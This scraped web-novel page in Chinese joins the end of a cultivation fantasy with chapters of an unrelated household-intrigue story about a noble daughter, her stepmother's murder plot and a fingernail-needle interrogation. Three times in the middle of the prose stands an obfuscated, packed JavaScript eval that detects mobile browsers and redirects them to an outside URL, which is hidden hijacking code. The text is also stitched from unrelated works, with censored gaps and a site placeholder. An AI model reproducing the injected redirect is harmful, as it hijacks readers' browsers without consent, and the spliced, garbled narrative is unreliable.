…… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15672137|170242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第89章 对名声有损 晏逐星没有注意到裴明镜。 她下车之后直接去见了烈国公夫人。 烈国公夫人和骆文缨一块来的,三人闲谈片刻,侯府施粥也已经结束。 晏逐星便准备打道回府。 只是九栀还没回来,她打算再等一等。 这时,裴明镜走了过来。 “晏大小姐,又见面了。” 晏逐星背后瞬间绷紧。 此地并无案件发生,裴明镜忽然出现是为什么,也没看到卫国公府有人施粥呀。 “见过裴大人。”晏逐星面上不显,淡定地冲他行礼。 “晏大小姐对外人倒是心善。”裴明镜意有所指。 晏逐星淡淡道:“侯府近来多有不顺,父亲命我来给百姓施粥,做点善事,积点功德,希望能让侯府扫清阴霾,也让母亲和兄长早日恢复健康。” “大小姐当真希望他们康复么?”裴明镜紧盯着她的双眸。 “自然。毕竟他们可是我的亲人。”晏逐星一脸诚恳。 “我还以为大小姐会希望他们早点**呢。”裴明镜嗤笑。 “裴大人说的哪里话,在您眼里,我竟是那等十恶不赦之人么?”晏逐星瞪大了眼睛,一脸诧异,眼里带着几分泪意,似是被他的话伤到了。 “你明明不是那种逆来顺受之人,何必在我眼前装成这副可怜的模样。你就是用这个样子,骗过永安王的么?”裴明镜不为所动。 晏逐星原本还打算再陪他演一会儿戏,将自己柔弱不能自理可怜兮兮的形象贯彻到底。 听到他攀扯谢翊宁,她心底没由来地升起一股怒火。 她根本没有骗过谢翊宁,谢翊宁什么都知道。 “裴大人说笑了,永安王聪慧无双,怎么可能会被人轻易蒙蔽。”晏逐星收起了笑意,语气愈发冷淡。 见她将先前那副可怜模样化作拒人于千里之外的冰霜,裴明镜反倒笑了。 “这才是真实的你吧。你从来就是浑身带刺的蔷薇,而非需要娇养的幽兰。” 晏逐星盈盈一笑:“多谢裴大人夸赞。蔷薇也好,幽兰也罢,都很美。” 裴明镜一愣。 寻常女子若是被这般讽刺,恐怕早就涨红了脸羞愤欲绝,而晏逐星竟然淡定地将他的嘲讽曲解成了赞美。 一时间,轮到他哑口无言。 这时,九栀匆匆走了过来,眉头锁得很紧。 “小姐……”她正欲开口跟晏逐星说那小姑娘的事,就看到了一旁站着的裴明镜,她瞬间收声,不再言语。 “裴大人,我还有事,先走一步。告辞。”晏逐星随意行了一礼,拉着九栀上了马车。 压根不在乎裴明镜会怎么想。 横竖他拿不到证据,还和他演个什么劲。 “是不是出什么事了?”上了马车,晏逐星赶忙询问。 九栀点了点头。 “那小姑娘没撒谎,她娘亲确实刚生下了一个小妹妹。她爹也**,她的爷爷奶奶也真的将她们母女给抛弃了。不过那都是有原因的。” “什么原因?”晏逐星追问。 “那小姑娘的母亲名唤刘芳草。之前曾被谢锦程圈禁过一段时间,她的夫君宋征去替王府替她讨公道,却被谢锦程命下人打得重伤不治去世。公婆迁怒于她,又认为她生下的孩子并非他们宋家的孩子,所以儿子死后就将她给分了出去,抛弃了她。” “那小姑娘不愿意离开娘亲和妹妹,宋家老两口便也不管她了。” 听到这话,一旁的双鲤攥紧了拳头。 “这谢锦程也太可恶了!不知道祸害了多少个家。” 晏逐星想了想,赶忙叫车夫停车。 她掀开车窗探头出去,叫住了乘坐马车离开的裴明镜。 “裴大人,我要报官。” 裴明镜搞不明白她葫芦里卖的什么药,迟疑了片刻还是叫停了马车。 “何事要报官?”他掀开车帘询问。 晏逐星给了九栀一个眼神。 九栀赶紧下车过去将先前在小姑娘家打听到的事情都说了一遍。 裴明镜没想到今日不过来盯着晏逐星施粥,竟然还有意外收获。 “你带我们走一趟。”裴明镜看向九栀。 九栀扭头看向晏逐星。 之前裴明镜可是一直在调查她,老在他面前晃,她怕暴露。 晏逐星看懂了她眼里的意思,直接把她叫上了马车。 “裴大人,我们都已经将地址和来龙去脉告知了您,想必也用不着我的婢女同你们一块过去了吧?” “毕竟,她是我的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15674749|170242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贴身婢女,跟着京兆府的官差一同去办案,若是被人瞧见了,恐怕会引来闲人妄加揣测,有损我的名声。还望大人体恤。” “京城谁人不知你的名声,还用得着损么?”裴明镜身旁的小厮忍不住嘀咕。 晏逐星瞬间变冷,裴明镜也皱起了眉头。 “多嘴,还不赶紧给晏大小姐道歉。”他冷声呵斥小厮。 小厮嗫嚅着唇,不愿开口。 夫人最瞧不上的就是这位晏大小姐了,他若给她道歉,回头夫人知道了不得气死。 “正是因为我的名声是不好,所以我才想着避嫌。若是我的名声再雪上加霜,那我也就不用活了。逼死侯府嫡女,对裴大人的名声想必也不好吧?”晏逐星冷冷看着裴明镜。 “掌嘴。”裴明镜沉声吩咐。 他身后那位带刀护卫二话不说抬手扇了那个小厮两个耳光。 小厮被扇得两眼发直,人都傻了。 “不必劳烦裴大人了,教训人,我还是喜欢亲力亲为。这样才痛快。”她伸手从小茶几上抓了两个核桃,重重砸向了小厮的嘴。 “哎哟。”他惊叫着捂住了自己的唇。 猛地发现自己牙齿缺了一个角,嘴唇也肿了起来。 “我名声是不好,所以劳烦裴大人日后离我远些。省得你好好一个冰清玉洁的人儿,叫我给毁了。”晏逐星说完,车帘一摔,扬声道。 “回府。” 定远侯府的马车疾驰而去。 裴明镜面如寒霜,扭头看了小厮一眼。 “今日起,你便回母亲身边去吧,不必再跟在我身边。” 小厮慌忙跪下:“大人,我知错了,您不要赶我走呀。” 若是让夫人知道他被世子爷赶走,纵使他祖母在夫人面前得脸,他也免不了被训斥的。 裴明镜却没有搭理他,只是轻飘飘地留下了一句—— “送回母亲院中,杖二十。” 听到这话,小厮腿一软,竟直接瘫倒在了这冰天雪地之中。 * 晏逐星回了侯府,心中的郁气方才消散了些许。 她深吸一口气,调整好自己的心情,准备去见定远侯。 就瞧见定远侯身边的小厮乐呵呵地跑了过来。 “大小姐,好消息!” 第90章 什么好消息 “什么好消息?”晏逐星心里隐约有了猜测。 “今日您去施粥后,阮姨娘身子不适请了大夫,查出有孕了。咱们府上要添丁了呀。”小厮乐呵呵地开口。 “侯爷给咱们所有人都发了喜钱,就等着您回来一块用膳了。” 今日正好是第三日。 阮寄薇倒是卡准了时间,也不知道她是怎么做到瞒天过海的。 晏逐星欣然赴宴。 今日的晚宴,除了她,就只有定远侯和阮寄薇。 温如霜并未出现。 “见过大小姐。”阮寄薇恭敬地冲她行礼。 见她没有因为有身孕就恃宠而骄,失了分寸,定远侯对她是越看越满意。 晏逐星笑道:“阮姨娘如今有了身孕,日后不必这般多礼。” 她瞥了定远侯一眼,又笑着开口。 “府中添丁是喜事,不请母亲来一块庆贺么?” 听她提起温如霜,定远侯就觉得晦气。 今日查出阮寄薇有孕后,温如霜便大闹了一出。 “明修还没回来,你就想着你的新儿子?我且看你能得意到多久,这孩子保不保得住还不一定呢。” 温如霜的话在耳边炸响。 定远侯沉着脸道:“大喜的日子,别提晦气的人。” “是。”晏逐星垂眸落座。 * 温如霜得知晏逐星回来后就跟定远侯还有阮寄薇一块用膳,气得又将屋里的东西狠狠砸了一遍。 砸完过后,她忍不住抱着嬷嬷李氏哭了起来。 “明修在王府生死未卜,他们倒庆贺上了。” 李氏心乱如麻,一颗心惴惴不安。 如今侯府真是乱极了。 大少爷回了青州,二少爷又被关在王府,二小姐还只能去给表少爷当妾。 侯府怕是要变天了。 也不知道等大少爷回府,这侯府里还有没有他们的容身之处。 李氏轻轻替她抚背安慰道:“夫人,当务之急,是赶紧把侯爷从阮姨娘那抢回来啊。” “我这样子怎么抢?”温如霜气得狠狠捶了一下毫无反应的腿。 “阮姨娘有了身子,自然不能伺候侯爷。您可以安排一个听话的姨娘与她分宠呀。”李氏提醒。 温如霜止住了眼泪,思索了起来。 柳姨娘和林姨娘当初都是她手里下的丫鬟,送给侯爷之前她就给他们灌了绝子药。 如今她们已年老色衰,恐怕吸引不了侯爷的关注。 她将主意打到了自己的大丫鬟芰荷身上。 芰荷是她一手培养出来的,绝对不会背叛她。 侯爷不就是图阮寄薇能陪他红袖添香、吟风弄月么,芰荷也是识文断字的,未必会输给阮寄薇。 虽说她的容色稍逊阮寄薇三分清丽,却生得一副好身量。 纤秾有致,起伏玲珑,便是有过孩子的妇人,也少有其这般丰韵婀娜之态。 从前侯爷也曾偷偷打量过芰荷,但那丫头识趣,每回侯爷来的时候都会躲着不见他。 她也就放心了。 如今,倒是可以让她一试。 想了想,温如霜将芰荷叫了过来,把有意让她给侯爷做妾一事说了出来。 芰荷脸“歘”一下变得惨白。 侯爷比她年长了十几岁,而且她知道柳姨娘和林姨娘的下场,一旦成了侯爷的姨娘,就得服下绝子药。 可她还年轻,她想要一个属于自己的孩子啊。 见她的表情,温如霜便知道她不愿意。 她心底有些高兴又有些不满。 高兴的是这丫头没想着攀高枝,不满的是她这个主子都发话了,她一个丫鬟竟然还想拒绝么。 但眼下她也找不到更合适的人选,因此只能耐着性子道: “你放心,你是我一手栽培的。你去给侯爷当姨娘,也是跟阮寄薇争宠。等她没了,我自会许你一个孩子。” 芰荷听到这话,知晓此事再无转圜的余地,咬唇点了点头:“奴婢一切听夫人吩咐。” 有她这话,温如霜放心多了。 “你先回去准备准备吧,明日我便同侯爷提纳你做妾一事。” “是。”芰荷再一次应下,整个人如雨后残荷蔫巴巴的,没了往日的精气神。 翌日。 温如霜还没来得及找定远侯说纳妾的事情,就收到了长子寄回家的家书。 “看看你教出来的好女儿!” 定远侯火冒三丈。 做妾就算了,竟然还偷银钱私逃,真是丢尽了侯府的脸面。 这样的丑事,真是闻所闻问。 温如霜捡起书信一目十行地看完,差点没当场晕过去。 “这一定有什么误会……”她哆嗦 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昭瑞亲王命人把晏明修从谢锦程手中要了回来。 定远侯瞧见他胳膊腿都完好无损,只是瘦了些,当即松了一口气。 看来谢锦程还是有分寸的,没敢伤他儿太重。 “多谢王爷。”定远侯领着晏明修回侯府。 晏明修紧绷着一张脸,一言不发跟在他身后。 “你这是记恨上为父了?”见他这般模样,定远侯拧紧眉头,厉声质问。 “难道我不该恨?!”晏明修眼底怒火翻涌,若不是尚存几分理智,他恐怕当场就要弑父了。 如果父亲没有把他留下,他又怎会被谢锦程那个畜生侮辱至此。 “你在王府不过数日,顶多听了几句难听话。既未伤筋动骨,又未损及性命,竟也值得你恨我至此?”定远侯火气腾地窜起,声音陡然升高,比他的声音还要大上几分。 “你根本就不知道谢锦程对我做了什么!”晏明修撕心裂肺地吼了出来。 “那你倒是说呀,他对你做了什么?”定远侯怒目直视他,仿佛他说不出个子午寅卯来,就要动手收拾他了。 第91章 杀了温如霜 “他……”晏明修脑海里瞬间闪过那些令人作呕的场景,只是说出了一个字,就忍不住俯身干呕了起来。 “惺惺作态。”定远侯皱眉甩下这么一句话,径直去了阮寄薇的院子里。 如今他是半点也不想见到这个儿子。 一看到他空洞洞的左眼,他就难受。 这个儿子,彻底废了。 日后别说在朝堂上有所建树,就算让他去联姻都没法联了。 哪个有头有脸的人家愿意让自己的女儿嫁给一个瞎子。 得知晏明修回来了,温如霜急急忙忙地命人抬着她去见儿子。 没想到,晏明修却不想看到她,直接锁了门,不许任何人靠近。甚至连饭都不愿意吃,也不许丫鬟小厮伺候他。 温如霜急得直掉眼泪。 “怎么就变成这样了呢。” 她惶惶之中又带着些许愤怒。 “都怪晏逐星,一切都是她害的。”温如霜气得咬牙切齿。 若不是晏逐星那死丫头忽然换了性子,她们一家又怎么会那么倒霉。 如今明月不在了,这个时候就不能让侯爷纳芰荷为妾,此事还需从长计议。 对付阮寄薇的事情得暂时放一放,她现在更想晏逐星死。 温如霜眼眸里闪过一抹寒意。 * 晏逐星只知道晏明月**,并不知道她是**的。 她只知道是晏明远寄了家书回来报丧。 而家书里的内容,只有定远侯和温如霜知道。 晏逐星已经从眼线那里知晓了温如霜想要抬芰荷当姨娘的事情。 如今晏明月一死,打破了温如霜的计划。 她接下来一定会铆足心思对准阮寄薇。 思及此处,晏逐星决定去见定远侯一面。 一来可以打听一下晏明月的死因,二来顺便和阮寄薇通个气。 “见过父亲。”晏逐星来了书房。 定远侯心情正烦躁,不耐烦地抬眼看她:“你来作甚?” “女儿心里有些不安,想同父亲说会儿话。父亲见多识广,您若能开导我几句,或许我就不会那么怕了。”晏逐星微微低头,似是有些惶恐。 定远侯向来吃这一套,听到这话,面色顿时变得和颜悦色了起来。 “坐吧,什么事呀?” “二妹妹身子向来康健,怎么会因为风寒去世,会不会是因为……”晏逐星话还没说完。 一抹躁意悄然爬上定远侯的眉心。 他直接开口打断了晏逐星:“够了。这事与你无关,你莫要多问。明月就是风寒而亡的。” 他这个态度,便让晏逐星猜到了晏明月之死肯定有问题,绝对不是简单的风寒。 晏逐星并未气馁,继续试探:“我还以为此事和大舅母有关呢。毕竟二妹妹和表哥的事情,惹恼了大舅母……” 定远侯眉心皱得更紧了:“行了。莫要乱猜了,与你大舅母无关,是她命不好。” 这时,外边的小丫鬟敲门通传:“侯爷,阮姨娘来了,要见您。” “行了,你走吧。”定远侯听到阮寄薇来了,直接将晏逐星赶走。 “是,女儿告退。”晏逐星等的就是阮寄薇。 既然晏明月之死打探不出什么东西,那就不浪费时间了。 她还有更重要的事情要做。 她走到门外,与阮寄薇擦肩而过时,压低声音询问:“你腹中的胎象可稳?” “小姐放心,这个秘药是我托人去找妈妈要的。可保三个月的脉象。”阮寄薇顿了顿脚步,轻声回应。 而后她便端着汤快步进了书房,挤到了定远侯身边。 “侯爷,您为了二小姐的事情已经操碎了心,赶紧吃点东西吧,可别把身子给累垮了。” “你既有了身孕,还做这些粗使活计做什么。”定远侯心疼地接过她手里的汤。 “给侯爷炖汤,薇薇心中没有累,只有欢喜。”阮寄薇依偎到他怀里撒娇。 晏逐星看不得这黏黏糊糊的场景,抖了抖身上的鸡皮疙瘩,赶紧快步离开。 她刚回到玉澜院,就看见了一脸凝重的衔蝉迎了上来。 “出什么事了?”晏逐星将她领到了屋子里。 “两件事。”衔蝉快速回禀。 “第一件事,谢锦程派人去找刘芳草,要抢走孩子。刘芳草不从,对方竟然要将她们母女杀了。裴大人及时赶到,抓了个人赃俱获。” 晏逐星在心底嗤笑。 什么及时赶到,恐怕这就是他提前给谢锦程布的局。 “那第二件事呢?”她又问。 衔蝉回禀:“夫人身边的李嬷嬷鬼鬼祟祟的出门了,我去管家那儿打听了一下,得知她拿了出城的文书。已经让九栀去追她了。” “嗯,做得很好。”晏逐星点头称赞。 这个时候,都快要关城门了,李氏究竟要去哪里? 约莫过了一个时辰,九栀回来了,还将打晕的李嬷嬷塞到了筐子里,当做采买的河鱼抬了回来。 “弄醒她。”晏逐星沉声吩咐。 大冬天的,李氏被一盆冷水泼醒。 她下意识地打了个寒噤。 闻到身上的鱼腥味,她有些嫌弃地想要捂住鼻子,这才发现自己被捆住了。 她抬头一看,发现晏逐星正在眼前。 她顿时变了脸色。 “大小姐,您,您这是做什么?”她的语气里透露着一股心虚。 “温如霜让你出城做什么?”晏逐星面无表情地询问。 “今年庄子的收成不对劲,夫人命我去看一看。”李氏将编造好的借口说了出来。 “不说实话是吧?我可没什么耐心。”晏逐星眉头一挑。 衔蝉忙道:“大小姐,交给我,我可以!” 虽然她如今已经是大小姐的人。 但她总觉得大小姐对九栀和双鲤更为亲近。 她也想变成大小姐的“自己人”。 所以如今要审问李氏,她第一个就站了出来。 她想让大小姐知道,她很有用。 “好,那就交给你了。”晏逐星果断地退出了柴房。 衔蝉学着从王府那边偷师而来的招式,用针从李氏的指甲盖缝隙处扎进去,疼得要人命,但又看不出明显的伤口。 才扎了两根手指,李氏就全招了。 “我说,我全都说。” “夫人让我去庄子上寻赵大,给他一笔钱,让他去寻一高手,杀了、杀了……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15681483|170242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>李氏忽然支支吾吾了起来。 “杀谁?”晏逐星有些好奇。 难不成温如霜想买**了阮寄薇,好让那个孩子无法出生? 李氏看了她一眼,没吭声。 晏逐星后知后觉地伸手指了指自己的脸:“我啊?” 李氏点点头。 晏逐星轻笑一声:“李嬷嬷,不知道夫人给了你多少买命钱啊。” “夫人给了我二百两银票,让我务必找到人将您除之后快。大小姐,您饶了我吧,我也是听命行事。”李氏哭着求饶。 晏逐星“啧”了一声:“所以在温如霜眼里,我只值二百两银子啊?” 李氏不知道该怎么回答这句话,干脆低下了头。 “银票呢?”晏逐星又问。 “路上丢了。”李氏赶忙回答。 事情已经败露,而她又背叛了夫人。 若是那二百两银子也保不住,她可就全完了。 晏逐星一看她的眼神,就知道她在撒谎。 她冷笑道:“不说实话是吧?你们先前怎么撬开她的嘴的,给我演示一遍。” “好呀。”九栀当即点头答应,语气带着一丝雀跃。 先前看衔蝉用那一招审讯,她就很想试一试,只可惜这个李氏是个软骨头,才两根手指就受不住了。 原本她想和衔蝉商议,一人扎五根手指的。 见她拿着闪闪发光的银针过来,李氏想起了先前惨痛的经历,连忙大叫:“在裤裆里!” 那种钻心的痛,她再也不想再体会第二遍了。 “你急什么呀。”九栀嘀咕着收起了针。 她还没试过给人扎针呢。 在晏逐星的示意下,她解开了捆着的李氏。 李氏扭扭捏捏地脱下了裤子,将缝在裤裆隔层里的银票掏了出来。 “这么多银钱,路途有些远,老奴怕丢了,所以就,就……” 她没说完,晏逐星就直接没收了那二百两银票。 她将其中一张银票给了九栀。 “这一百两,你和衔蝉分了吧。今日辛苦你们了。” 九栀和衔蝉同时露出了惊喜的笑容,忙不迭点头:“多谢大小姐。” 而后,晏逐星皮笑肉不笑地盯着李氏。 “行了,你在这呆一夜,明日再回去复命。回去之后该怎么说你知道的吧?我不为难你,你也不要自找麻烦。” “老奴一定守口如瓶。”李氏哭丧着一张脸点头。 事情没办成,银钱也丢了,还不能让夫人知道此事。 不然她的家里人恐怕就不保了。 她真是白忙活了一场。 九栀看守了李氏一整晚,翌日才将她放走。 “就这么放她走了吗?”九栀有些不解。 晏逐星一夜好眠,她伸了个懒腰,笑着回应道:“无妨,反正很快都要变成**了。” 她原本不想那么快就杀了温如霜的。 既然她等不及要见阎王,那她也就不拦着了。 她现在**,晏明远和晏明修就要守孝,设计起他们来就更方便了。 晏逐星的心里已经有了一个完整的计划。 这一次,她要借刀**。 